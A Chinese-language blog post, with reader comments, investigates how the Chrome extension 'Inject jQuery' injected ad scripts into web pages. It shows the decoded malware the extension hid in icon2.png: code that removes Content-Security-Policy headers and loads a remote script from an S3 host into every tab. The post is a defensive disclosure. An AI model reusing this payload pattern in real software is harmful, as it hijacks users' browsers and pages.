從 Chrome 網路監控發現異常活動,檢視本機網站卻跑出一段程式從某台 AWS 主機為網頁注入 /forton/inject_jq.js:

inject_jq.js 載入同一主機下的 /forton/cbp/cmps/60_4c15b.js:

60_4c15b.js 再載入更多 JS:

粗略看過載入的程式片段,似乎是要在網頁插入廣告(adnow、extsgo.com、st.adxxx.com)。經比對測試,無痕模式下不會載入可疑程式,懷疑是外掛造成。鎖定外掛展開調查,很快找到兇手為 Inject jQuery,停用後一切正常。

爬文找到有人在 Live HTTP HeadersGive Me CRX 等外掛也發現類似惡意行為,並提到在 PNG 圖檔偷渡惡意程式碼的技術細節。

找到 \AppData\Local\Google\Chrome\User Data\Default\Extensions\indebdooekgjhkncmgbkeopjebofdoid\background.js 發現一模一樣的偷渡手法 – 使用 getFile 讀取 icon2.png,在二進位資料尋找 "init>" 及 "<end" 字樣包夾的位元組資料,以 XOR 解碼回程式碼並執行。

檢查 icon2.png,真的有 init> 及 <end:

實際執行解碼程式,查出 icon2.png 內容藏了以下程式碼:

"var zero = (a, b) => { chrome.storage.local.get({ ID: 0 }, (c=> { 0 == c.ID ? (() => { chrome.storage.local.set({ ID: (new Date).getTime() }), setTimeout(zero, a, a, b) })() : (() => { ((new Date).getTime() - c.ID || 0) < b ? setTimeout(zero, a, a, b) : one() })() })) }, one = () => { chrome.webRequest && chrome.webRequest.onHeadersReceived.addListener((a=> { if (a.tabId != -1) { for (var b in a.responseHeaders) "object" == typeof a.responseHeaders[b] && "content-security-policy" === a.responseHeaders[b].name.toLowerCase() && a.responseHeaders.splice(b, 1); return { responseHeaders: a.responseHeaders } } }), { urls: ["<all_urls>"], types: ["main_frame"] }, ["responseHeaders", "blocking"]), chrome.tabs && chrome.tabs.onUpdated.addListener(((a, b) => { "complete" == b.status && chrome.tabs.executeScript(a, { code: `(() => {var s = document.createElement('script');s.src = '//s3. eu-central-1 . amazonaws . com/forton/inject_jq.js';document.body.appendChild(s);})();` }) })) }; zero(36e5, 864e5);"

如此便取得 Inject jQuery 偷載 inject_jq.js 引進惡意程式的鐵證。但有個疑點,Inject jQuery 這個外掛我用了好一陣子,當初看過評價不差才裝的,為什麼會中獎?進一步想確認資訊時發現 Inject jQuery 已從 Chrome 線上商店下架,而 Google 搜尋結果中 65 票 4.5 顆星的高評價記錄還在,點下去已找不到網頁…

回頭查看外掛資料夾的更新日期是 2016/10/28,我懷疑被自動更新過,最近才變成有毒版本,而 Google 接收到檢舉後將外掛下架。最後我又查到一則討論,又提到好幾個 Chrome 外掛有類似問題,再提到另一個外掛 Full Screen Flash,以及我遇到的 Inject jQuery。

【結論】

最近接連出現多起 Chrome 外掛中毒案例(Give Me CRX、Live HTTP Headers、Full Screen Flash、Inject jQuery、W3School Hider…),好幾個原本可用評價正常的外掛紛紛被植入惡意廣告程式(似乎發生在自動更新後),還使用了將惡意程式碼藏在 ICON2.PNG 圖檔的手法躲避追查。雖然有問題的外掛多從 Google 商店下架,但在已安裝的機器上仍會繼續執行,建議有安裝 Chrome 外掛的朋友開 F12 Source 檢查網頁有沒有被加料,小心為上。

2016-11-11 感謝網友 RJ 補充:這種案例之前就發生過不少次,大多是因為好用的流行套件被人盯上,買下後植入惡意程式。甚至有套分頁管理套件被買走污染後,作者重新上架並 Open Source,沒想到最後新套件下架 + 作者移除 GitHub Repo,而被污染的套件還在架上。

2016-11-11 補充,Chrome 的自動停用有害外掛機制發揮作用了:

今天在另一台機開啟 Chrome 時跳出警告,Inject jQuery 已自動停用,為 Chrome 按個讚!

另外,被外掛偷塞廣告的網頁會長這様:(感謝不願具名的善心人士提供珍貴畫面)

【延伸閱讀】


Comments

# by RJ

之前就發生過不少零星案例了,大多數原因是該套件被別人買下... 好用且很多人用的小套件很容易被盯上、被買走,然後就被污染了... 像我之前裝的分頁管理套件就這樣,被買走後污染套件,作者重新上架且Open Source出來,然後最近發現新套件下架+作者移除GitHub Repo了,原來被污染的套件還在架上...

# by Louis

多谢。

# by

# by Jeffrey

to RJ,感謝補充,已加入本文。

Post a comment